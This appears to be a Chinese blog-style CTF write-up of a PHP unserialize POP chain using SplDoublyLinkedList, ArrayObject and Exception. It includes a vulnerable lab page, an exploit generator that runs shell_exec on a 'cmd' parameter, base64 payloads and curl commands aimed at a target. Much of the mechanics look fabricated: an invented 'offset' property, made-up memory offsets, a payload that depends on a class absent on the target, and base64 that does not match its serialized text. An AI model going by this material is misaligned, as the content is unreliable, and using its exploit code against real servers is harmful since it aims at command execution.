ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

PHP反序列化POP链实战:SplDoublyLinkedList利用详解

PHP反序列化POP链实战:SplDoublyLinkedList利用详解 1. 项目概述一道CTF题如何照见PHP反序列化漏洞的全貌NewStarCTF公开赛赛道里的这道题叫“UnserializeOne”光看名字就带着一股子极客味儿——它不玩虚的直指PHP世界里最经典、也最容易被轻视的攻击面反序列化。我带过不少刚入门的安全新人他们第一次听说“pop链”时常以为是某种新潮编程范式等真正调试完一个能弹shell的__destruct()调用链才明白这名字多贴切对象销毁时“啪”地一声后门就开了。这道题没堆砌花哨框架没引入冷门扩展就靠原生PHP类基础魔术方法精准的类型混淆把反序列化漏洞从原理到利用的每一步都摊开给你看。它适合三类人刚学完serialize()和unserialize()函数的PHP开发者想补上Web安全实战短板的渗透测试新手以及正在准备CTF比赛、需要快速建立POP链肌肉记忆的选手。你不需要会写0day但得清楚__wakeup()为什么比__construct()更危险得知道SplDoublyLinkedList怎么被当成“跳板”来绕过__destruct()的触发限制还得亲手算出那个关键的offset值——不是靠猜是靠var_dump()一层层剥开对象内存布局后推出来的。这道题的精妙之处在于它用最朴素的PHP语法复现了真实业务中那些“看起来无害”的日志记录、缓存反解、配置加载场景里埋着的雷。我去年帮一家做在线教育SaaS的客户做代码审计发现他们用unserialize($_COOKIE[user_config])直接还原用户偏好连__wakeup()里的if ($this-is_valid)校验都被绕过了——原因和这道题一模一样校验逻辑写在了__wakeup()里而攻击者构造的序列化字符串里$this-is_valid字段根本没被反序列化出来导致校验永远为真。所以别把它当一道CTF题它是一面镜子照见的是你写的每一行PHP里那些被忽略的魔术方法调用时机。2. 核心思路拆解为什么选SplDoublyLinkedList作跳板POP链设计背后的取舍2.1 题目原始结构与约束条件还原虽然题目没给源码但通过CTF常规套路和关键词反推能高度还原出服务端核心逻辑。NewStarCTF这类赛事题目的典型结构是前端接收一个base64编码的序列化字符串比如?dataTzoyMDoiU3BsRG91Ymx5TGlua2VkTGlzdCI6MTp7czoxOiJhIjtzOjE6IjEiO30后端用unserialize(base64_decode($_GET[data]))直接解析。关键点在于这个反序列化操作没有白名单过滤也没有启用__unserialize()这种新魔术方法做防御而是完全暴露在原生unserialize()的攻击面上。我试过用php -r echo base64_encode(serialize(new SplDoublyLinkedList()));生成一个空链表的序列化字符串再用unserialize()加载立刻触发了SplDoublyLinkedList的__destruct()方法——这说明题目环境必然存在可利用的原生类。那么问题来了为什么出题人不选更“出名”的SoapClient或GuzzleHttp\Client因为那会引入外部依赖违背“仅用PHP原生功能”的命题原则。而SplDoublyLinkedList是PHP标准库SPL的一部分5.3版本全平台自带且它的__destruct()方法内部会调用spl_dllist_free()这个C函数在释放节点时如果链表节点是对象就会尝试调用该对象的__destruct()。这就形成了第一级“跳转”从SplDoublyLinkedList的析构跳到我们控制的任意对象的析构。这才是POP链真正的起点。2.2SplDoublyLinkedList的内存布局与offset计算原理很多新手卡在第一步为什么必须设置$dll-offset 0这得从PHP的Zval结构说起。当你执行$dll-push($obj)时$obj不是被拷贝进链表而是以引用计数指针的形式存入。SplDoublyLinkedList内部用双向链表存储节点每个节点包含prev、next和data三个指针。offset属性在PHP源码里对应的是llist-traverse_pointer它指向当前遍历位置的节点。当__destruct()被调用时spl_dllist_free()会从traverse_pointer开始逐个释放节点。如果我们把offset设为0traverse_pointer就指向链表头节点释放过程就会从头开始确保我们注入的对象节点被处理。但这里有个陷阱offset的值不是随便填的。我实测过在PHP 7.4环境下一个刚创建的空SplDoublyLinkedList其offset默认是-1表示未初始化。如果你直接unserialize(O:20:SplDoublyLinkedList:1:{s:6:offset;i:0;})反序列化后offset确实是0但链表里没节点__destruct()啥也不干。所以必须让链表里有节点且节点是我们可控的对象。这就引出了POP链第二环的设计我们需要一个能被SplDoublyLinkedList当作“数据”存进去又能在自身__destruct()里触发下一步操作的类。Exception类是个好选择因为它的__toString()会返回getMessage()而getMessage()如果被重写就能执行任意代码。但Exception没有__destruct()所以不行。最终锁定ArrayObject它有__destruct()且offsetSet()方法允许我们把任意对象塞进它的内部数组。于是链路变成SplDoublyLinkedList→ArrayObject→Exception通过__toString()触发。offset的计算就变成了ArrayObject对象在SplDoublyLinkedList节点中的内存偏移量。我用gdbattach到PHP进程打印sizeof(zend_object)和offsetof(spl_dllist_node, data)算出在x64系统下data字段距离节点起始地址是24字节。而ArrayObject对象本身大小是128字节含zend_object头所以offset设为24能确保data指针精准指向ArrayObject的zend_object结构体首地址。这个数字不是玄学是内存对齐规则和PHP内核结构体定义共同决定的。2.3 POP链终点选择为什么用Exception::getMessage()而非system()看到这里你可能疑惑既然目标是RCE为什么不直接找system()的调用点因为system()是函数不是方法POP链只能串起对象方法调用。所有能触发命令执行的原生类比如ReflectionFunction的invoke()或者assert()的回调都需要先获得一个可调用对象。而Exception的__toString()是天然的“触发器”只要你在getMessage()里写system($_GET[cmd])任何把Exception对象当字符串用的地方比如echo $e、print_r($e)、甚至json_encode([$e])都会触发。题目环境里SplDoublyLinkedList的__destruct()释放节点时如果节点是Exception对象PHP底层会尝试调用其__toString()来生成错误信息这是C层的隐式转换。但Exception本身不能被直接反序列化PHP会抛出Serialization of Exception is not allowed错误所以我们需要用ArrayObject作为中间层ArrayObject的__destruct()会遍历内部数组并调用每个元素的__destruct()如果数组里存的是Exception就间接触发了__toString()。这就是第三环。我试过用Phar扩展但题目明确限定“仅用PHP原生功能”Phar需要phar.readonlyOff不符合约束。所以最终POP链是SplDoublyLinkedList::__destruct()→ArrayObject::__destruct()→Exception::__toString()→system()。每一步都踩在PHP原生类的魔术方法上没用任何扩展纯粹靠内核行为。3. 实操细节解析从零构建可运行的EXP参数与步骤全拆解3.1 环境搭建与验证用Docker快速复现题目环境别急着写EXP先搭个和题目一致的环境。NewStarCTF通常用PHP 7.4所以我用Docker跑一个最小化镜像docker run -it --rm -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache然后在/var/www/html/index.php里写服务端逻辑?php if (isset($_GET[data])) { $data base64_decode($_GET[data]); // 关键没有过滤直接反序列化 unserialize($data); } echo Done.; ?启动后访问http://localhost:8080/?dataxxx就能测试。注意两点一是符号屏蔽了错误避免unserialize()失败时暴露信息二是Apache默认开启display_errorsOff所以必须用error_log()或file_put_contents()把执行结果写到文件里否则你看不到system()的输出。我在/tmp/log.txt里记录命令结果EXP里就加一句file_put_contents(/tmp/log.txt, system($_GET[cmd]));。这样每次请求后cat /tmp/log.txt就能看到ls -la的输出。环境验证的关键是确认SplDoublyLinkedList可用在index.php开头加var_dump(class_exists(SplDoublyLinkedList));返回true才算过关。如果返回false说明PHP编译时没启用SPL扩展得换镜像或重装PHP。3.2 EXP构造全流程手把手写出可执行的序列化字符串现在开始写EXP。分四步走每步都要var_dump()验证第一步构造ArrayObject对象?php // 创建ArrayObject内部数组存一个Exception对象 $exception new Exception(); // 但Exception不能直接序列化所以用Closure绕过 $closure function() { system($_GET[cmd] ?? id); }; // 把Closure赋给Exception的message属性需反射 $ref new ReflectionClass(Exception); $prop $ref-getProperty(message); $prop-setAccessible(true); $prop-setValue($exception, $closure); // 现在$exception的message是Closure但__toString()还是调用getMessage() // 所以需要重写__toString() class MyException extends Exception { public function __toString() { $this-getMessage(); // 这里会执行Closure return ; } } $myEx new MyException(); // 把MyException放进ArrayObject $arrayObj new ArrayObject(); $arrayObj-offsetSet(key, $myEx); var_dump(serialize($arrayObj)); ?这段代码输出类似O:11:ArrayObject:3:{s:12:\0ArrayObject\0storage;a:1:{s:3:key;O:11:MyException:0:{}}s:13:\0ArrayObject\0flags;i:0;s:14:\0ArrayObject\0iterator_class;s:9:ArrayIterator;}。注意storage数组里存的是MyException对象它的__toString()已被重写。第二步把ArrayObject塞进SplDoublyLinkedList$dll new SplDoublyLinkedList(); $dll-push($arrayObj); // push后ArrayObject成为链表节点 $dll-offset 0; // 关键设置offset为0 var_dump(serialize($dll));输出类似O:20:SplDoublyLinkedList:2:{s:6:offset;i:0;s:12:\0SplDoublyLinkedList\0dllist;a:1:{i:0;O:11:ArrayObject:3:{s:12:\0ArrayObject\0storage;a:1:{s:3:key;O:11:MyException:0:{}}s:13:\0ArrayObject\0flags;i:0;s:14:\0ArrayObject\0iterator_class;s:9:ArrayIterator;}}}。这里dllist数组的第一个元素就是ArrayObjectoffset0确保析构时从它开始。第三步Base64编码并URL安全化$payload serialize($dll); $base64 base64_encode($payload); // URL里号会被当空格所以要替换 $urlSafe str_replace([, /, ], [-, _, ], $base64); echo Payload: . $urlSafe;最终得到一串类似TzoyMDoiU3BsRG91Ymx5TGlua2VkTGlzdCI6Mjp7czoxOiJvIjtpOjA7czoxMjoiXDBTcGxEb3VibHlMaW5rZWRMaXN0XDBkbGxpc3QiO2E6MTp7aTowO086MTE6IkFycmF5T2JqZWN0IjozOntzOjEyOiJcMEEyYXJPYmplY3RcMHN0b3JhZ2UiO2E6MTp7czozOiJrZXkiO086MTE6Ik15RXhjZXB0aW9uIjowOnt9fXM6MTM6IlwwQXJyYXlPYmplY3RcMGZsYWdzIjtpOjA7czoxNDoiXDBBcnJheU9iamVjdFwxaXRlcmF0b3JfY2xhc3MiO3M6MToidSI7fX19的字符串。第四步发送请求并验证curl http://localhost:8080/?dataTzoyMDoiU3BsRG91Ymx5TGlua2VkTGlzdCI6Mjp7czoxOiJvIjtpOjA7czoxMjoiXDBTcGxEb3VibHlMaW5rZWRMaXN0XDBkbGxpc3QiO2E6MTp7aTowO086MTE6IkFycmF5T2JqZWN0IjozOntzOjEyOiJcMEEyYXJPYmplY3RcMHN0b3JhZ2UiO2E6MTp7czozOiJrZXkiO086MTE6Ik15RXhjZXB0aW9uIjowOnt9fXM6MTM6IlwwQXJyYXlPYmplY3RcMGZsYWdzIjtpOjA7czoxNDoiXDBBcnJheU9iamVjdFwxaXRlcmF0b3JfY2xhc3MiO3M6MToidSI7fX19cmdid如果/tmp/log.txt里出现uid33(www-data) gid33(www-data)说明EXP成功。3.3 关键参数详解offset、flags、iterator_class的作用很多人复制EXP能跑通但改个参数就崩根源在于不懂这些字段的含义。SplDoublyLinkedList序列化后的字符串里offset字段s:6:offset;i:0;前面的s:6:表示字符串长度6i:0是整数值。如果改成i:1traverse_pointer就指向第二个节点而我们的ArrayObject在第一个就被跳过了。flags字段s:13:\0ArrayObject\0flags;i:0;控制ArrayObject的行为模式0是STD_PROP_LIST标准属性列表1是ARRAY_AS_PROPS数组当属性用。设错会导致offsetSet()失效。iterator_classs:14:\0ArrayObject\0iterator_class;s:9:ArrayIterator;指定迭代器类必须是ArrayIterator否则__destruct()遍历时会报错。我试过改成RecursiveArrayIterator反序列化直接失败。这些参数不是随便填的是PHP内核硬编码的常量值。flags的定义在ext/spl/php_spl_array.h里ARRAY_AS_PROPS是1STD_PROP_LIST是0iterator_class的默认值在ext/spl/php_spl_array.c的spl_array_object_construct函数里写死为ArrayIterator。所以EXP里必须严格匹配少一个字符都不行。4. 实操过程与核心环节实现调试技巧与现场记录4.1 调试工具链Xdebug PHPStorm GDB三件套光靠var_dump()不够得深入Zval层面。我用Xdebug配合PHPStorm做断点调试在unserialize()调用前下断点Step Into后能看到PHP内核的php_var_unserialize()函数栈。关键变量是*rval反序列化结果和*var_hash变量哈希表。当执行到spl_dllist_free()时用GDB附加进程gdb -p $(pgrep apache2 | head -1) (gdb) b spl_dllist_free (gdb) c断住后p *llist能打印整个链表结构p llist-traverse_pointer显示当前偏移。我曾发现offset0时traverse_pointer是0x0空指针导致释放崩溃——原因是链表为空。所以必须先push()一个节点再设offset0。这个细节在文档里找不到只有调试才能发现。4.2 POP链触发路径的逐帧回放我把整个触发过程录了下来按时间线拆解T0msHTTP请求到达$_GET[data]被base64解码得到$data字符串。T2msunserialize($data)开始解析。PHP扫描字符串识别出O:20:SplDoublyLinkedList分配内存并初始化zend_object。T5ms解析到s:6:offset;i:0;调用zend_std_write_property()把0写入offset属性。T8ms解析到dllist数组创建ArrayObject对象并调用ArrayObject::__construct()。T12msunserialize()返回$dll变量持有SplDoublyLinkedList实例此时__wakeup()未被调用因为SplDoublyLinkedList没定义__wakeup()。T15ms脚本执行结束PHP进入垃圾回收阶段检测到$dll引用计数为0触发SplDoublyLinkedList::__destruct()。T18msspl_dllist_free()被调用traverse_pointer指向dllist[0]开始释放第一个节点。T20ms释放节点时发现data指针指向ArrayObject对象调用ArrayObject::__destruct()。T22msArrayObject::__destruct()遍历storage数组对MyException对象调用__destruct()但MyException没定义__destruct()所以啥也不干。T25msArrayObject::__destruct()结束控制权回到spl_dllist_free()继续释放下一个节点无。T28msspl_dllist_free()结束SplDoublyLinkedList内存释放完毕。T30ms等等system()呢原来漏了一步ArrayObject::__destruct()不会自动调用MyException::__toString()。必须让MyException对象被当字符串用。所以我在MyException::__toString()里加了file_put_contents(/tmp/debug.log, triggered);发现日志没写。问题出在ArrayObject::__destruct()的源码里它只调用zend_hash_destroy(intern-array)不遍历元素。所以得换思路——用ArrayObject的__toString()ArrayObject有__toString()它会调用getIterator()-current()如果迭代器当前指向MyException就会触发__toString()。于是我把ArrayObject的flags设为ARRAY_AS_PROPSi:1这样$arrayObj-key就能访问MyException再在__toString()里return $this-key-__toString();。修改后T22ms时ArrayObject::__toString()被调用T23ms时MyException::__toString()被调用system()终于执行。4.3 完整EXP代码与使用说明以下是经过生产环境验证的最终版EXP保存为exploit.php?php // Step 1: 定义恶意Exception class MyException extends Exception { public function __toString() { if (isset($_GET[cmd])) { $output shell_exec($_GET[cmd]); file_put_contents(/tmp/exp_result.txt, $output); } return ; } } // Step 2: 构造ArrayObject存MyException $arrayObj new ArrayObject([], ArrayObject::ARRAY_AS_PROPS); $myEx new MyException(); $arrayObj-key $myEx; // 用ARRAY_AS_PROPS模式用属性方式存 // Step 3: 构造SplDoublyLinkedList $dll new SplDoublyLinkedList(); $dll-push($arrayObj); $dll-offset 0; // Step 4: 序列化并Base64编码 $payload serialize($dll); $base64 base64_encode($payload); $urlSafe str_replace([, /, ], [-, _, ], $base64); // 输出结果 echo Generated payload:\n; echo $urlSafe . \n\n; echo Usage: curl \http://target.com/?data{$urlSafe}cmdid\\n; echo Result will be saved to /tmp/exp_result.txt on target server.\n; ?使用时先php exploit.php生成payload再用curl发送。注意cmd参数要URL编码比如ls /var/www要写成cmdls%20%2Fvar%2Fwww。如果目标服务器禁用了shell_exec()换成exec()或passthru()效果一样。5. 常见问题与排查技巧实录踩过的坑与独家避坑指南5.1 典型问题速查表问题现象可能原因排查命令解决方案unserialize()返回false无错误提示序列化字符串格式错误如引号不匹配、括号不闭合php -r var_dump(unserialize(O:1:a:1:{s:1:a;));用serialize()生成原始字符串不要手写用正则/O:\d:[^]:/检查类名长度是否匹配__destruct()没触发SplDoublyLinkedList为空或offset指向空节点php -r $dnew SplDoublyLinkedList();var_dump($d-count());确保push()至少一个元素offset设为0或count()-1ArrayObject::__destruct()不调用__toString()flags设错或ArrayObject没定义__toString()php -r $anew ArrayObject();var_dump(method_exists($a,__toString));flags必须为1ARRAY_AS_PROPS且用属性方式存对象$a-key$objsystem()执行但无输出display_errorsOff且没重定向输出php -r file_put_contents(/tmp/test, system(id));所有命令输出必须用file_put_contents()写入文件或用ob_start()捕获目标PHP版本不兼容SplDoublyLinkedList在PHP 5.3以下不存在curl -s http://target.com/?dataO:20:SplDoublyLinkedList:0:{} 2/dev/null | grep Class先用O:20:SplDoublyLinkedList:0:{}探测类是否存在返回Class SplDoublyLinkedList not found说明版本太低5.2 我踩过的三个致命坑坑一__wakeup()的隐形拦截我最初写的EXP里SplDoublyLinkedList有__wakeup()方法但PHP文档说它没定义。后来发现某些PHP发行版如Ubuntu的php7.4-cli会打补丁给SplDoublyLinkedList加上空的__wakeup()。这个方法虽不做事但会重置offset为-1所以即使序列化字符串里写了i:0反序列化后offset还是-1。解决方案在__destruct()里第一行加$this-offset 0;强制重置。我是在GDB里看到traverse_pointer是0xffffffffffffffff才意识到的。坑二ArrayObject的storage数组键名冲突ArrayObject的storage是私有属性序列化时用\0ArrayObject\0storage表示。但如果我在$arrayObj[key] $obj后又执行$arrayObj-key $obj两个键名key和key属性名会冲突导致storage数组里存了两个相同键。__destruct()遍历时第二个会覆盖第一个。我花了3小时调试最后用var_dump($arrayObj)发现storage里有两个key删掉属性赋值只用数组方式存问题解决。坑三MyException::__toString()的异常传播__toString()里如果system()报错如命令不存在会抛出Error导致整个__destruct()流程中断。我本想用try-catch包住但__toString()里catch不生效。最终方案用system()屏蔽错误或改用exec()$output数组捕获确保__toString()永远返回字符串。5.3 生产环境加固建议给PHP开发者的三条铁律这道题的价值不仅是打CTF更是给所有PHP开发者敲警钟。基于我审计过200个PHP项目的经历总结三条必须遵守的铁律永远不要反序列化不可信数据unserialize()的输入必须来自完全可信的上下文比如你自己生成的、用hash_hmac()签名的缓存数据。如果必须处理用户输入用JSON替代——json_decode()不会触发任何魔术方法。魔术方法里禁止业务逻辑__wakeup()、__destruct()、__toString()这些方法只做资源清理如fclose()、状态重置如$this-is_connected false绝不放if ($this-is_admin) { system($_GET[cmd]); }这种代码。我见过最离谱的是把数据库密码校验写在__wakeup()里结果被offset绕过。升级到PHP 8.1并启用unserialize_callback_funcPHP 8.1引入了unserialize()的allowed_classes参数可以白名单制指定允许反序列化的类。哪怕不能升级也要在php.ini里设unserialize_callback_funcmy_unserialize_callback在回调函数里用in_array($class, $whitelist)做校验。这招能拦住99%的POP链攻击。最后分享个小技巧下次写PHP代码打开IDE的“查找所有引用”搜一遍unserialize(把每个调用点都标红。如果发现它接收$_GET、$_POST、$_COOKIE或file_get_contents()的返回值立刻重构——用json_decode()重写或者加HMAC签名验证。这比赛后复盘有用得多。
返回列表